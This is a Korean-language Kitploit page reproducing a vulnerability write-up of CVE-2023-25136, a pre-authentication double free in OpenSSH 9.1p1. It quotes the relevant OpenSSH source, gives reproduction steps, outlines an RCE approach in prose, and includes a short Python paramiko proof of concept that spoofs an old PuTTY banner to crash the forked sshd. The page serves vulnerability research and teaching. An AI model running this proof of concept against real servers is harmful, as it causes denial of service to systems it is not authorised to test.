Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-25136 — OpenSSH 사전 인증(Pre-Auth) 이중 해제(Double Free) CVE-2023-25136 – 라이트업 및 개념 증명(PoC) | Kitploit
도구/GitHubGitHub/malvika-thakur/cve-2023-25136
Vulnerability AnalysisExploitationPenetration TestingPapers & ResearchLearning & EducationBinary Exploitation
GitHubmalvika-thakur/cve-2023-25136

CVE-2023-25136

OpenSSH 사전 인증(Pre-Auth) 이중 해제(Double Free) CVE-2023-25136 – 라이트업 및 개념 증명(PoC)

저장소 보기
342년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

OpenSSH (CVE-2023-25136) 사전 인증 이중 해제(Pre-Auth Double Free) – 분석 및 PoC

OpenSSH란 무엇인가?

OpenSSH는 보안 통신 및 원격 액세스에 사용되는 널리 알려진 도구입니다. SSH(Secure Shell) 통신 프로토콜의 무료 오픈소스 구현체로 개발되었으며 다양한 용도로 널리 사용됩니다.

OpenSSH는 신뢰할 수 없는 네트워크를 통해 신뢰할 수 없는 두 호스트 간에 안전하고 암호화된 연결을 제공하므로, 원격 액세스와 안전한 파일 전송에 필수적인 도구입니다.

클라우드 컴퓨팅과 서버 원격 액세스의 사용이 증가함에 따라, OpenSSH는 원격 시스템을 안전하게 액세스하고 관리해야 하는 시스템 관리자와 개발자에게 매우 중요한 도구가 되었습니다.

OpenSSH는 Linux, macOS, Windows를 포함한 다양한 플랫폼을 지원하므로 여러 운영 체제에서 널리 채택된 도구입니다. 사용 편의성과 강력한 보안 기능 덕분에 OpenSSH는 안전한 원격 액세스를 위한 업계 표준 도구가 되었습니다.

취약점 배경

2023년 2월 2일, OpenSSH는 이 보안 권고와 함께 버전 9.2p1을 출시했습니다. 사전 인증(pre-auth) 이중 해제 취약점 때문에 이 버전이 주목할 만하다는 것이 즉시 분명해졌습니다. OpenSSH의 GitHub 저장소를 검색해 보면, 이것이 수정 커밋입니다.

커밋 메시지는 bz3522를 나타내며, 이는 사용자 Mantas Mikulėnas가 보고한 Bugzilla 이슈를 의미합니다.

보고서에서 Mantas는 PuTTY 구버전 0.64를 사용한다고 언급하면서, 이중 해제 중단(abort)의 백트레이스도 첨부했습니다.

연구 과정

더 자세히 알아보기 위해, 취약한 OpenSSH 9.1p1 환경을 구성하고 8년 전인 2015년 2월 28일에 출시된 구버전 PuTTY 0.64 사본을 가져왔습니다.

PuTTY 0.64로 취약한 OpenSSH 서버에 연결을 시도한 후 다음 오류가 반환되었습니다:

1_PuTTY-0 64-Fatal-Error

구버전 클라이언트의 키 교환 알고리즘이 새 OpenSSH 버전에서 지원되지 않으므로, sshd_config 파일을 편집하여 /etc/ssh/sshd_config : KexAlgorithms +diffie-hellman-group1-sha1 줄을 추가했습니다.

SSH 서버를 재시작하고 다시 시도한 후 다음 오류가 반환되었습니다:

2_PuTTY-Fatal-Error

sshd_config에 구성 줄을 하나 더 추가한 후, 취약한 OpenSSH 서버에 연결하여 크래시를 재현할 수 있었습니다:

HostKeyAlgorithms +ssh-rsa

디버그 모드(-ddd 플래그 사용)로 서버를 실행하면 다음 디버그 메시지가 반환되었습니다:

ssh_sandbox_violation: unexpected system call (arch:0xc000003e,syscall:20 @ 0x7fd7473fb771) [preauth]

시스콜 번호 20은 writev()이며, 이는 Bugzilla 보고서와 일치합니다.

참고로, 우리가 수행한 구성 변경은 PuTTY를 통해 취약점을 재현하기 위한 것일 뿐이며, 이를 악용하는 데 필요하지 않습니다. PoC에서 보게 되겠지만, 기본 구성도 취약합니다.

취약점 심층 분석

먼저 compat_kex_proposal()이 이중 해제의 원인임을 명시하는 수정 커밋을 살펴보았습니다. 연결 호환성 옵션 SSH_OLD_DHGEX가 [1]에서 true일 때, 두 번째 인자 p는 [2]에서 cp에 할당되고 이후 [3]에서 해제됩니다.

root@kitploit:~
/* Always returns pointer to allocated memory, caller must free. */
char *
compat_kex_proposal(struct ssh *ssh, char *p)
{
    char *cp = NULL;


    if ((ssh->compat & (SSH_BUG_CURVE25519PAD|SSH_OLD_DHGEX)) == 0)
        return xstrdup(p);
    debug2_f("original KEX proposal: %s", p);
    if ((ssh->compat & SSH_BUG_CURVE25519PAD) != 0)
        if ((p = match_filter_denylist(p,
            "[email protected]")) == NULL)
            fatal("match_filter_denylist failed");
    if ((ssh->compat & SSH_OLD_DHGEX) != 0) {               [1]
        cp = p;                                             [2]
        if ((p = match_filter_denylist(p,
            "diffie-hellman-group-exchange-sha256,"
            "diffie-hellman-group-exchange-sha1")) == NULL)
            fatal("match_filter_denylist failed");
        free(cp);                                           [3]
    }
    debug2_f("compat KEX proposal: %s", p);
    if (*p == '\0')
        fatal("No supported key exchange algorithms found");
    return p;
}

compat_kex_proposal()에 대한 호출은 do_ssh2_kex() 함수 내부에 있습니다:

root@kitploit:~
    myproposal[PROPOSAL_KEX_ALGS] = prop_kex = compat_kex_proposal(ssh,
        options.kex_algorithms);

compat_kex_proposal()에서 해제된 cp=p는 options.kex_algorithms 인자를 가리킵니다.

소스 코드에서 kex_algorithms를 검색하면, Bugzilla 보고서의 크래시에서 등장한 assemble_algorithms를 발견했습니다:

root@kitploit:~
ASSEMBLE(kex_algorithms, def_kex, all_kex);

ASSEMBLE은 kex_assemble_names() 함수를 호출하기 위한 매크로입니다:

root@kitploit:~
#define ASSEMBLE(what, defaults, all) \
    do { \
        if ((r = kex_assemble_names(&o->what, defaults, all)) != 0) \
            fatal_fr(r, "%s", #what); \
    } while (0)

kex_assemble_names() 함수는 첫 번째 인자(즉, listp)로 o->kex_algorithms의 주소를 받아 호출됩니다. 이곳이 두 번째 해제가 발생하는 지점입니다.

root@kitploit:~
int
kex_assemble_names(char **listp, const char *def, const char *all)

options.kex_algorithms 핸들이 해제되어 댕글링 포인터가 되었기 때문에, 다시 한 번 해제되면서 이중 해제가 발생합니다.

그렇다면 SSH_OLD_DHGEX 옵션은 어디에서 설정될까요?

SSH 프로토콜 배너에서 버그 플래그를 결정하는 compat_banner() 함수 내부입니다. check[]라는 구조체가 모든 SSH 클라이언트 ID와 해당 플래그를 나열합니다. 다음 스니펫은 SSH_OLD_DHGEX 옵션이 할당된 클라이언트 ID를 보여줍니다. WinSCP도 이 동작을 트리거할 수 있음을 알 수 있습니다.

root@kitploit:~
        { "PuTTY_Local:*,"  /* dev versions < Sep 2014 */ "PuTTY-Release-0.5*," /* 0.50-0.57, DH-GEX in >=0.52 */
          "PuTTY_Release_0.5*," /* 0.58-0.59 */
          "PuTTY_Release_0.60*,"
          "PuTTY_Release_0.61*,"
          "PuTTY_Release_0.62*,"
          "PuTTY_Release_0.63*,"
          "PuTTY_Release_0.64*",
                    SSH_OLD_DHGEX },
        { "FuTTY*",     SSH_OLD_DHGEX }, /* Putty Fork */
        { "WinSCP_release_4*,"
          "WinSCP_release_5.0*,"
          "WinSCP_release_5.1,"
          "WinSCP_release_5.1.*,"
          "WinSCP_release_5.5,"
          "WinSCP_release_5.5.*,"
          "WinSCP_release_5.6,"
          "WinSCP_release_5.6.*,"
          "WinSCP_release_5.7,"
          "WinSCP_release_5.7.1,"
          "WinSCP_release_5.7.2,"
          "WinSCP_release_5.7.3,"
          "WinSCP_release_5.7.4",
                    SSH_OLD_DHGEX },

개념 증명(Proof-of-Concept)

우리는 유연성과 이식성 때문에 Python 기반 서비스 거부(Denial of Service) 개념 증명을 만들기로 결정했습니다. 이 개념 증명은 paramiko 패키지를 사용하여 이중 해제를 트리거하고 중단(abort) 크래시를 유발합니다.

paramiko는 서버 및 클라이언트 기능을 모두 제공하는 널리 사용되는 Python SSH 구현체입니다. PoC에서는 연결 클라이언트 버전 배너를 PuTTY v0.64와 같은 구버전 클라이언트로 변경했습니다.

우리의 GitHub 저장소에서 확인할 수 있습니다.

root@kitploit:~
import paramiko


VICTIM_IP = "127.0.1"
CLIENT_ID = "PuTTY_Release_0.64"


def main():
    transport = paramiko.Transport(VICTIM_IP)
    transport.local_version = f"SSH-2.0-{CLIENT_ID}"
    transport.connect(username='', password='')


if __name__ == "__main__":
    main()

RCE 개념 증명

이 익스플로잇은 해제된 options.kex_algorithms 대신 EVP_AES_KEY라는 또 다른 구조체를 할당합니다. 이 구조체는 이중 해제가 발생할 때 다시 해제됩니다. 그런 다음 authctxt->user 또는 authctxt->style을 사용하여 그 내용을 다른 청크로 덮어씁니다.

나중에 EVP_Cipher()가 이 EVP_AES_KEY를 사용하려고 하면, 공격자가 제어하는 데이터로 키를 덮어쓴 해당 청크를 사용하게 됩니다.

취약점 영향

OpenSSH 데몬은 클라이언트의 연결을 수신합니다. 들어오는 각 연결마다 새 데몬을 포크(fork)합니다. 포크된 데몬은 키 교환, 암호화, 인증, 명령 실행 및 데이터 교환을 처리합니다.

이 취약점은 이중 해제로, 우리의 개념 증명에서 입증된 것처럼 이론적으로 서비스 거부(denial of service)에 악용될 수 있으며, 원격 코드 실행(RCE)에도 악용될 가능성이 있습니다. 다만 샌드박스 및 권한 분리(Privilege Separation) 메커니즘과 같은 보안 조치로 인해 실제 동작하는 익스플로잇을 개발하는 것은 어려운 것으로 간주됩니다. 서비스 거부의 경우, writev() 호출 중 샌드박스 위반으로 포크된 데몬만 크래시되므로, 메인 서버 데몬은 새 클라이언트를 계속 처리할 수 있다는 점에 유의하십시오.

이 취약점은 다음과 같은 이유로 높음(High) 심각도 등급을 받았습니다:

  1. 전제 조건이 필요 없습니다. 기본 구성이 취약합니다.

  2. ASLR 또는 NX와 같은 메모리 악용 완화 조치가 적용되지 않은 경우, 최근 발표에 따르면 RCE가 가능합니다.

  3. 서비스 거부 공격의 경우, 포크된 워커 프로세스를 크래시시키는 것은 중요한 데몬을 크래시시키는 DoS보다 훨씬 덜 심각하지만, 둘 다 CVSS 가용성(Availability) 영향에서 "높음(High)" 등급을 받습니다.

  4. OpenSSH는 샌드박스 및 권한 분리 메커니즘과 같은 보안 조치를 마련했지만, 이로 인해 가능한 RCE 공격의 심각도가 낮아져서는 안 된다는 점에 유의하십시오.

취약점 대상

이 취약점은 기본 구성의 OpenSSH 9.1p1 버전에만 적용되며, 즉 전제 조건이 필요 없습니다.

도구 다운로드